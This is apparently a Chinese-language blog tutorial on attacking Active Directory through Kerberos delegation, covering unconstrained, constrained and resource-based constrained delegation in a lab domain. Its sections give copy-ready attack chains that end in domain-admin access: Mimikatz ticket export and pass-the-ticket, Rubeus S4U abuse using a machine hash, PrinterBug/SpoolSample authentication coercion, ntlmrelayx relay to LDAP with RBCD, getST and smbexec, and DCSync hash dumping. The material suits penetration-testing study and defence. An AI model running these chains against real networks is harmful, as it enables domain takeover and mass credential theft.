Home Abusing Domain Delegation to Attack Active Directory
Post
Cancel

Abusing Domain Delegation to Attack Active Directory

域委派是指将域内用户的权限委派给服务账户,使得相关服务账户能够以域用户的身份权限获得相关域内服务资源的访问权限。值得注意的是,在域环境中,只有机器账户和服务账户拥有委派属性,也就是说只有这两类账户可以配置域委派。

在下面这个场景中,一个普通域用户 Marcus 通过 Kerberos 协议认证到前台 Web 服务,并请求下载文件。但是由于文件存储在后台文件服务器(File Server)上,因此 Web 服务器的服务账号 WebSvc 将模拟域用户 Marcus,并以 Kerberos 协议继续认证到后台文件服务器。后台文件服务器将文件返回给前台的 Web 服务器,Web 服务器再将文件返回给域用户 Marcus。这就是域委派的一般过程。

域委派是大型网络中经常部署的应用模式,给多跳认证带来很大的便利,同时也带来很大的安全隐患,利用委派可获取域管理员权限,甚至制作深度隐藏的后门。

到目前为止,有三种类型的域委派,分别是非约束性委派(Unconstrained Delegation)、约束性委派(Constrained Delegation)和基于资源的约束性委派(Resource-Based Constrained Delegation,RBCD)。下面我针对三类委派的请求机制以及利用攻击方法进行讲解。

Unconstrained Delegation

在非约束性委派(Unconstrained Delegation)中,服务账号可以获取域用户的 TGT,并使用该 TGT 模拟域用户访问任意服务。配置了非约束性委派的账户的 userAccountControl 属性会设置 TRUSTED_FOR_DELEGATION 标志位。下图所示为非约束性委派的完整请求过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(1)域用户的机器向密钥分发中心(KDC)发送 KRB_AS_REQ 消息,并请求可转发的 TGT 1。
(2)KDC 在 KRB_AS_REP 消息中返回一个可转发的 TGT 1,该 TGT 1 用于后续访问服务1(Service 1)使用。
(3)用户根据步骤(2)中的可转发 TGT 1 请求转发 TGT 2,该过程通过 KRB_TGS_REQ 消息完成。
(4)KDC 在 KRB_TGS_REP 消息中为用户返回一个转发的 TGT 2,该 TGT 2 用于后续访问服务2(Service 2)使用。
(5)用户使用步骤(2)中返回的 TGT 1 向 KDC 请求 Service 1 的服务票据,该过程通过 KRB_TGS_REQ 消息完成。
(6)TGS 票据授予服务在 KRB_TGS_REP 消息中为用户返回 Service 1 的服务票据(ST 1)。
(7)用户通过发送 KRB_AP_REQ 消息向 Service 1 发出访问请求,同时提供 ST 1、可转发的 TGT 1、TGT 2 以及 TGT 2 的会话密钥(Session Key)。
(8)为了满足用户的请求,Service 1 需要代表用户执行一些操作。Service 1 使用转发的 TGT 2 并将其通过 KRB_TGS_REQ 消息发送到 KDC,以用户的名义请求 Service 2 的 ST 2。
(9)KDC 在 KRB_TGS_REP 消息中将 Service 2 的 ST 2 连同 Service 1 可以使用的 Session Key 一起返回给 Service 1。需要注意的是,这里返回的 ST 2 将客户端标识为用户,而不是 Service 1。
(10)Service 1 以用户的身份通过 KRB_AP_REQ 消息向 Service 2 发出访问请求。
(11)Service 2 响应 Service 1 的访问请求。
(12)在得到 Service 2 的响应后,Service 1 现在可以响应用户在步骤(7)中发出的访问请求了。
(13)此处描述的 TGT 转发委派机制不限制 Service 1 使用转发的 TGT。 Service 1 可以以用户的名义向 KDC 索要任何其他服务的票据。
(14)KDC 将返回请求的服务票据。
(15)然后,Service 1 可以继续使用用户的身份访问其他服务。
(16)Service N 将响应 Service 1,就好像它是用户的进程一样。

从攻击的角度来看,当域管理员用户访问 Service 1 时,KDC 会检查 Service 1 服务账号的 userAccountControl 属性,发现 Service 1 服务配置了非约束性委派时,会进行上述认证过程。如果 Service 1 受到威胁,最终控制 Service 1 攻击者将获得域管理员用户的 TGT。

Discovery

首先,在域控制器上为域内主机 WIN10-CLIENT1 配置非约束性委派,如下图所示。

需要注意的是,只有拥有 SeEnableDelegationPrivilege 特权的用户才可以为其他主机账户或服务账户配置非约束性委派,而该特权默认情况下赋予管理员用户,如下图所示。

配置了非约束性委派的账户的 userAccountControl 属性会设置 TRUSTED_FOR_DELEGATION 标志位,可以在域内主机上通过 AdFind 进行查询,相关命令如下。

1
2
3
4
# 查询域中配置非约束委派的机器账户
C:\Users\Marcus\Desktop> AdFind.exe -b "dc=pentest,dc=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
# 查询域中配置非约束委派的服务账户
C:\Users\Marcus\Desktop> AdFind.exe -b "dc=pentest,dc=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

如上图所示,域内主机 DC01 和 WIN10-CLIENT1 配置了非约束性委派,其中 DC01 为域控制器,WIN10-CLIENT1 为刚才配置的普通域成员主机。假设此时攻击者获取了普通用户 Marcus 的权限,并以 Marcus 用户登录了 WIN10-CLIENT1,那么攻击者可以通过非约束性委派获取域管理员权限。

Unconstrained Delegation Attack

我们通过以下环境来演示非约束性委派攻击的过程:

1
2
3
4
5
6
7
8
9
- 域:pentest.com
- 域控制器
  - 主机名:DC01
  - IP 地址:172.26.10.11
- 域成员主机
  - 主机名:WIN10-CLIENT1
  - IP 地址:172.26.10.21
- 域管理员用户:Administrator
- 普通用户:Marcus

(1)首先,通过 Marcus 用户登录域成员主机 WIN10-CLIENT1,并尝试访问域控制器的 CIFS 服务,结果失败。

(2)接着,当域管理员通过 WinRM 等方式远程连接 WIN10-CLIENT1 主机时,WIN10-CLIENT1 主机的内存中将保存域管理员用户 Administrator 的 TGT。我们可以通过 Mimikatz 导出进行查看,相关命令如下,导出来的票据如下图所示。

1
C:\Users\Marcus\Desktop> mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

(3)如上图所示,可以看到域管理员账户的高权限TGT票据 [0;13a0f0]-2-0-60a10000-Administrator@krbtgt-PENTEST.COM.kirbi,执行以下命令,通过 Mimikatz 传递该票据。

1
C:\Users\Marcus\Desktop> mimikatz.exe "kerberos::ptt [0;13a0f0]-2-0-60a10000-Administrator@krbtgt-PENTEST.COM.kirbi" exit

(4)再次尝试访问 DC01 的 C$ 共享,如下图所示,访问成功。

Coerce Authentication

前文中介绍了非约束性委派攻击的一般利用方法,但是该方法必须由域管理员远程连接后留下高权限的 TGT 才能利用,因此显得有些鸡肋。不过我们配合 PrinterBug 等工具执行强制身份认证(Coerce Authentication),非约束性委派攻击助力。

Windows 中的 MS-RPRN(Print System Remote Protocol,打印系统远程协议)用于打印客户端和打印服务器之间的通信,支持客户端和服务器之间的同步打印和联机操作,包括打印任务控制以及打印系统管理。

MS-RPRN协议中定义的 RpcRemoteFindFirstPrinterChangeNotification API 可以创建远程修改通知对象,用于监控对打印机对象的修改,并向打印客户端发送修改通知。任何具备域用户权限的攻击者都可以滥用该方法来强迫运行打印服务(Print Spooler)的主机向攻击者选择的目标主机发起 Kerberos 或 NTLM 认证请求。

结合 PrinterBug,攻击者可以强制域控制器向配置了非约束性委派的主机发起 Kerberos 身份认证,并获取域控的高权限 TGT,该利用场景是 @tifkin_@enigma0x3@harmj0y 在 2018 年的 DerbyCon 大会上提出的,并开发了一个概念性的工具 SpoolSample。详情可以参考以下链接中的文章和视频:

  • https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1
  • https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory

下面我将对 PrinterBug 和非约束性委派结合的利用方法进行演示,相关利用工具如下。

(1)首先,通过 Marcus 用户登录域成员主机 WIN10-CLIENT1,尝试通过 DCSync 导出域内用户哈希,结果失败。

1
C:\Users\Marcus\Desktop> mimikatz.exe "lsadump::dcsync /domain:pentest.com /user:PENTEST\Administrator" exit

(2)在 WIN10-CLIENT1 主机上通过本地管理员启动 Rubeus 监听,相关命令如下。

1
2
3
4
C:\Users\Marcus\Desktop> Rubeus.exe monitor /interval:5 /filteruser:DC01$

# /interval:5 设置监听间隔5秒
# /filteruser 设置监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的 TGT

(3)在 WIN10-CLIENT1 主机上执行 SpoolSample,强制域控制器 DC01 向 WIN10-CLIENT1 发起 Kerberos 认证,相关命令如下。值得注意的是,这里必须使用主机名(或者 DNS 名称)而不是 IP 地址。

1
C:\Users\Marcus\Desktop> SpoolSample.exe DC01 WIN10-CLIENT1

(4)如下图所示,执行 SpoolSample 后,Rubeus 成功监听并截取到域控机器的 TGT(Base64编码后的)。

直接使用 Rubeus 传递该 Base64 编码后的票据:

1
C:\Users\Marcus\Desktop> Rubeus.exe ptt /ticket:<Base64EncodedTicket>

(5)由于域控机器账户是默认拥有 DCSync 权限的,因此可以成功导出域内用户哈希,如下图所示。

Constrained Delegation

因为非约束委派的不安全性,约束委派(Constrained Delegation)应运而生。在 Widnows Server 2003 之后微软引入了非约束委派。同时,为了顺利进行约束性委派,微软为 Kerberos 协议的 TGS_REQ 和 TGS_REP 阶段引入了两个扩展协议 S4u2self(Service for User to Self)和 S4U2proxy(Service for User to Proxy)。

S4U2self 扩展允许服务代表用户获取针对自己的服务票据,S4U2proxy 允许服务代表用户获取另一个服务的服务票据。约束委派就是限制了 S4U2proxy 扩展的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。配置了约束性委派的账户的 userAccountControl 属性会设置 TRUSTED_TO_AUTH_FOR_DELEGATION 标志位,并且账户的 msDS-AllowedToDelegateTo 属性会被设置为对哪些服务进行委派。下图所示为约束性委派中,S4U2self 和 S4U2proxy 扩展的完整请求过程。

1
2
3
4
5
6
7
8
9
10
(1)域用户的机器向 Service 1 发出请求。用户通过了身份验证,但 Service 1 中没有用户的所需要的授权数据。该过程通常是由 Kerberos 认证以外的其他认证方式执行的。
(2)假设 Service 1 已通过 KDC 进行身份验证并获得其 TGT,此时其可以通过 S4U2self 扩展代表指定用户向 KDC 请求针对自身服务的票据。
(3)KDC 会返回一个发往 Service 1 的服务票据 ST 1,就好像它是使用用户自己的 TGT 请求的一样。服务票据可能包含用户的授权数据。
(4)Service 1 可以使用服务票据中的授权数据来响应并满足用户在步骤(1)中的请求。值得注意的是,尽管 S4U2self 向 Service 1 提供有关用户的信息,但此扩展不允许 Service 1 代表用户提出针对其他服务的请求。这就轮到后面 S4U2proxy 扩展发挥作用了,S4U2proxy 在上图所示的下半部分进行了描述。
(5)域用户的机器向 Service 1 发出请求。Service 1 需要以用户身份访问 Service 2 上的资源。但是,Service 1 没有来自用户的可转发 TGT ,因此不能通过非约束委派中转发 TGT 的方式执行委派。
(6)此时,Service 1 通过 S4U2proxy 扩展代表指定用户向 KDC 请求 Service 2 的服务票据。该过程中,用户由 Service 1 的服务票据 ST 1 中的客户端名称和客户领域标识,要返回的票据的授权数据也从服务票证 ST 1 中复制。
(7)如果请求中包含特权属性证书 (PAC),则 KDC 会通过检查 PAC 结构的签名数据来验证 PAC。如果 PAC 有效或不存在,KDC 会向 Service 1 返回 Service 2 的服务票据 ST 2,但存储在服务票据的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 Service 1 的身份。
(8)Service 1 使用 ST 2 向 Service 2 发出请求。Service 2 将此请求视为来自用户,并假定用户此时已通过 KDC 身份验证。
(9)Service 2 响应 Service 1 在步骤(8)中的请求。
(10)Service 1 响应用户在步骤(5)中的请求。

从攻击的角度来看,如果 Service 1 受到威胁,由于 Service 1 配置了到 Service 2 的约束性委派,则攻击者可以利用 Service 1 代表域管理员用户访问 Service 2。如果 Service 2 位于域控制器,例如域控的 CIFS、LDAP 等服务,那么就可以直接获取域控制器权限。

值得注意的是,由于非约束性委派的整个过程中,Service 1 无法获取用户的 TGT,因此需要通过构造 S4U 请求,以任意用户的权限申请访问某服务的 ST。但是在申请 ST 之前,机器账户或服务账户必须先申请到自己的 TGT,这就意味着需要获取机器账户或服务账户的哈希值或明文密码。

Discovery

首先,在域控制器上为域内主机 WIN10-CLIENT1 配置约束性委派,配置其对域控制器 DC01 的 LDAP 服务进行委派,如下图所示。需要注意的是,只有拥有 SeEnableDelegationPrivilege 特权的用户才可以为其他主机账户或服务账户配置非约束性委派,而该特权默认情况下赋予管理员用户。

配置了约束性委派的账户的 userAccountControl 属性会设置 TRUSTED_TO_AUTH_FOR_DELEGATION 标志位,并且账户的 msDS-AllowedToDelegateTo 属性会被设置为对哪些服务进行委派。可以在域内主机上通过 AdFind 进行查询,相关命令如下。

1
2
3
4
# 查询域中配置约束委派的机器账户
C:\Users\Marcus\Desktop> AdFind.exe -b "dc=pentest,dc=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# 查询域中配置约束委派的服务账户
C:\Users\Marcus\Desktop> AdFind.exe -b "dc=pentest,dc=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

从查询结果中可以看到,此时域成员主机 WIN10-CLIENT1 配置了约束性委派,并对域控制器 DC01 的 LDAP 服务进行委派。假设此时攻击者获取了普通用户 Marcus 的权限,并以 Marcus 用户登录了 WIN10-CLIENT1,那么攻击者可以通过约束性委派获取域控制器权限。

Constrained Delegation Attack

我们通过以下环境来演示约束委派攻击的过程:

1
2
3
4
5
6
7
8
9
- 域:pentest.com
- 域控制器
  - 主机名:DC01
  - IP 地址:172.26.10.11
- 域成员主机
  - 主机名:WIN10-CLIENT1
  - IP 地址:172.26.10.21
- 域管理员用户:Administrator
- 普通用户:Marcus

(1)首先,通过 Marcus 用户登录域成员主机 WIN10-CLIENT1,尝试通过 DCSync 导出域内用户哈希,结果失败。

(2)然后,通过 Rubeus 申请机器账户 WIN10-CLIENT1 的 TGT,相关命令如下。执行后,将得到 Base64 加密后的 TGT 票据,如下图所示。

1
2
3
4
5
6
C:\Users\Marcus\Desktop> Rubeus.exe asktgt /user:WIN10-CLIENT1$ /rc4:5dd934ddeff076dd686656a2a7d6081b /domain:pentest.com /dc:DC01.pentest.com /nowrap

# /user 指定要申请TGT的账户名
# /rc4 指定机器账户WIN10-CLIENT1$的哈希值
# /domain 指定域名
# /dc 指定域控制器

(3)然后执行以下命令,使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 LDAP 服务的票据,并将得到的票据传递到内存中,执行结果如下图所示。

1
2
C:\Users\Marcus\Desktop> Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC01.pentest.com /dc:DC01.pentest.com /ptt /ticket:<Base64EncodedTicket>
# Rubeus.exe s4u /impersonateuser:PENTEST\Administrator /altservice:LDAP/DC01.pentest.com /dc:DC01.pentest.com /ptt /ticket:<Base64EncodedTicket>

(4)再次尝试 DCSync 操作,此时可以成功导出域内用户哈希,如下图所示。

Resource-Based Constrained Delegation

基于资源的约束委派(Resource-Based Constrained Delegation,RBCD)是在 Windows Server 2012 中新引入的功能,与传统的约束委派相比,它不再需要拥有 SeEnableDelegationPrivilege 特权的域管理员去设置相关属性,并且将设置委派的权限交换给了服务资源自身,即服务自己可以决定谁可以对我进行委派。

可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。以 Service 1 和 Service 2 两个服务为例,传统的约束性委派需要在 Service 1 上设置 msDS-AllowedToDelegateTo 属性,以指定对 Service 2 上的哪一个服务进行委派。二在基于资源的约束性委派中,需要在 Service 2 上将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值设为 Service 1 的 SID,以允许 Service 1 对 Service 2 上的服务进行委派。

此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。因此,基于资源的约束性委派与传统的约束性委派在利用方法上大同小异。

RBCD Attack

基于资源的约束性委派的关键在于 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的设置,虽然基于资源的约束性委派的配置并不需要管理员权限,但是要向修改服务账户或机器账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,用户必须拥有对其完全控制(GenericAll),或拥有 GenericWrite、WriteProperty、WriteDacl 等权限。

下面我对基于资源的约束性委派的一般攻击过程进行演示,测试环境如下,并假设已经获取到了 Marcus 用户的权限,并以 Marcus 用户登录了 WIN10-CLIENT1。

  • 域:pentest.com
  • 域控制器
    • 主机名:DC01
    • IP 地址:172.26.10.11
  • 域成员主机
    • 主机名:WIN10-CLIENT1
    • IP 地址:172.26.10.21
  • 域管理员用户:Administrator
  • 普通用户:Marcus

(1)使用 PowerView.ps1 可以枚举指定用户 Marcus 对机器账户 DC01 的 ACE,发现该用户对 DC01 完全控制,如下图所示。

1
2
3
4
5
6
# 导入模块
Import-Module .\PowerView.ps1
# 获取 Marcus 用户的 SID
Get-DomainUser -Identity Marcus -Properties objectsid
# 枚举 Marcus 用户对 DC01 的 ACE
Get-DomainObjectAcl -Identity DC01 | ?{$_.SecurityIdentifier -match "S-1-5-21-1536491439-3234161155-253608391-1106"}

(2)Marcus 用户对 DC01 完全控制,因此可以通过 Marcus 用户的权限修改并设置机器账户 DC01 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。但此时还需要一个具有 SPN 的账户,以允许该账户对 DC01 上的服务进行委派。在域内,如果拥有一个普通的域用户,那么我们就可以利用这个用户创建新的机器帐户,并且默认最多允许创建 10 个机器账户,这是由域属性 MachineAccountQuota 决定的。

以 Marcus 用户用户权限执行 Powermad.ps1,创建一个名为 PENTEST$,密码为 Passw0rd 的机器账户,相关命令如下。新建的机器账户将默认注册 RestrictedKrbHost/domainHOST/domain 这两个 SPN。

1
2
3
4
5
6
# 导入模块
Import-Module .\Powermad.ps1
# 设置机器账户的密码
$Password = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force
# 通过 New-MachineAccount 函数创建机器账户
New-MachineAccount -MachineAccount "PENTEST" -Password $($Password) -Domain "pentest.com" -DomainController "DC01.pentest.com" -Verbose

(3)接下来,我们通过 PowerView.ps1 配置 PENTEST 到 DC01 的基于资源的约束性委派,相关命令如下。

1
2
3
4
5
6
7
8
9
10
11
# 导入模块
Import-Module .\PowerView.ps1
# 获取 PENTEST 账户的 SID
Get-NetComputer "PENTEST" -Properties objectsid
# 配置 PENTEST 到 DC01 的基于资源的约束性委派
$A = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1536491439-3234161155-253608391-1109)"
$SDBytes = New-Object byte[] ($A.BinaryLength)
$A.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose
# 查看是否配置成功
Get-DomainComputer DC01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

若想清除 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值,可以执行以下命令:

1
Set-DomainObject DC01 -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' -Verbose

(4)接下来就是传统约束性委派攻击的流程了。通过 Rubeus 申请机器账户 WIN10-CLIENT1 的 TGT,相关命令如下。执行后,将得到 Base64 加密后的 TGT 票据,如下图所示。

1
2
3
4
5
6
C:\Users\Marcus\Desktop> Rubeus.exe asktgt /user:PENTEST$ /password:Passw0rd /domain:pentest.com /dc:DC01.pentest.com /nowrap

# /user 指定要申请 TGT 的账户名
# /password 指定机器账户 PENTEST$ 的哈希值密码
# /domain 指定域名
# /dc 指定域控制器

(3)然后执行以下命令,使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 LDAP 服务的票据,并将得到的票据传递到内存中,执行结果如下图所示。

1
C:\Users\Marcus\Desktop> Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC01.pentest.com /dc:DC01.pentest.com /ptt /ticket:<Base64EncodedTicket>

(4)此时执行 DCSync,可以成功导出域内用户哈希,如下图所示。

NTLM Relay + RBCD

前面我们介绍了基于资源的约束性委派的一般利用过程,一个很关键的条件就是当前所控的用户必须对 Service 2 拥有 GenericAll、GenericWrite、WriteProperty 或 WriteDacl 等权限,否则将无法修改并设置其 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。然而,在 NTLM Relay 中,通过 Relay To LDAP 可以直接修改活动目录中的属性值,如果我们控制一个机器账户通过 NTLM Relay 认证到 LDAP,毫无疑问该机器账户能够直接修改并设置自己的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。

下面我对 NTLM Relay 结合 RBCD 的攻击过程进行演示,测试环境如下,并假设已经获取到了 Marcus 用户的凭据。

  • 域:pentest.com
  • 域控制器
    • 主机名:DC01
    • IP 地址:172.26.10.11
  • 域内服务器
    • 主机名:WIN2016-WEB1
    • IP 地址:172.26.10.13
  • 域管理员用户:Administrator
  • 普通用户:Marcus
  • Kali Linux
    • IP 地址:172.26.10.134

(1)首先,通过 Impacket 套件中的 addcomputer.py 工具,以普通域用户 Marcus 的身份在域中添加一个名为 PENTEST$ 的机器账户,密码为 Passw0rd,相关命令如下,执行结果如下图所示。

1
2
3
4
python3 addcomputer.py pentest.com/Marcus:Marcus\@123 -computer-name PENTEST\$ -computer-pass Passw0rd -dc-ip 172.26.10.11

# -computer-name 指定要创建的机器账户名
# -computer-pass 指定要创建的机器账户密码

(2)执行以下命令,在 Kali Linux 上启动 ntlmrelayx.py 监听,如图下所示。

1
python3 ntlmrelayx.py -t ldap://172.26.10.11 --remove-mic --delegate-access --escalate-user PENTEST\$ -smb2support

(3)然后通过 Python 版本的 Printerbug 迫使 WIN2016-WEB1 主机向 Kali Linux 发起 NTLM 认证请求,相关命令如下。

1
python3 printerbug.py pentest.com/Marcus:Marcus\@123@172.26.10.13 172.26.10.134

此时,ntlmrelayx.py 将截获 WIN2016-WEB1 机器账户的 Net-NTLM Hash,并将其 Relay 到域控的 LDAP 服务,如图下所示。

(4)接着,通过 Impacket 套件中的 getST.py 执行基于资源的约束性委派攻击,并获取用于访问 WIN2016-WEB1 机器上 CIFS 服务的高权限票据,如图下所示。

1
2
3
4
5
python3 getST.py pentest.com/PENTEST\$:Passw0rd -spn CIFS/WIN2016-WEB1.pentest.com -impersonate Administrator -dc-ip 172.26.10.11

# -spn 指定创建的票据要认证到的服务 SPN  
# -impersonate 指定要通过 S4U 代表的用户  
# -dc-ip 指定域控制器的 IP 地址  

(5)最后,通过设置环境变量 KRB5CCNAME 来使用该票据,并通过 smbexec.py 获取 WIN2016-WEB1 机器的最高权限,相关命令如下,执行结果如下图所示。在执行以下命令之前,需要将 Kali Linux 的 /etc/resolv.conf 中 DNS 服务器改为域控制器的 IP 地址。

1
2
3
4
5
export KRB5CCNAME=Administrator.ccache
python3 smbexec.py -target-ip 172.26.10.13 -k WIN2016-WEB1.pentest.com -no-pass   

# -k 指定通过 Kerberos 协议执行身份验证,这将在环境变量 KRB5CCNAME 指定的 ccache 文件中获取凭据 
# -no-pass 指定不需要提供密码,与 -k 选项配合使用

Ending……

参考文献:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://pentestlab.blog/2022/03/21/unconstrained-delegation/

This post is licensed under CC BY 4.0 by the author.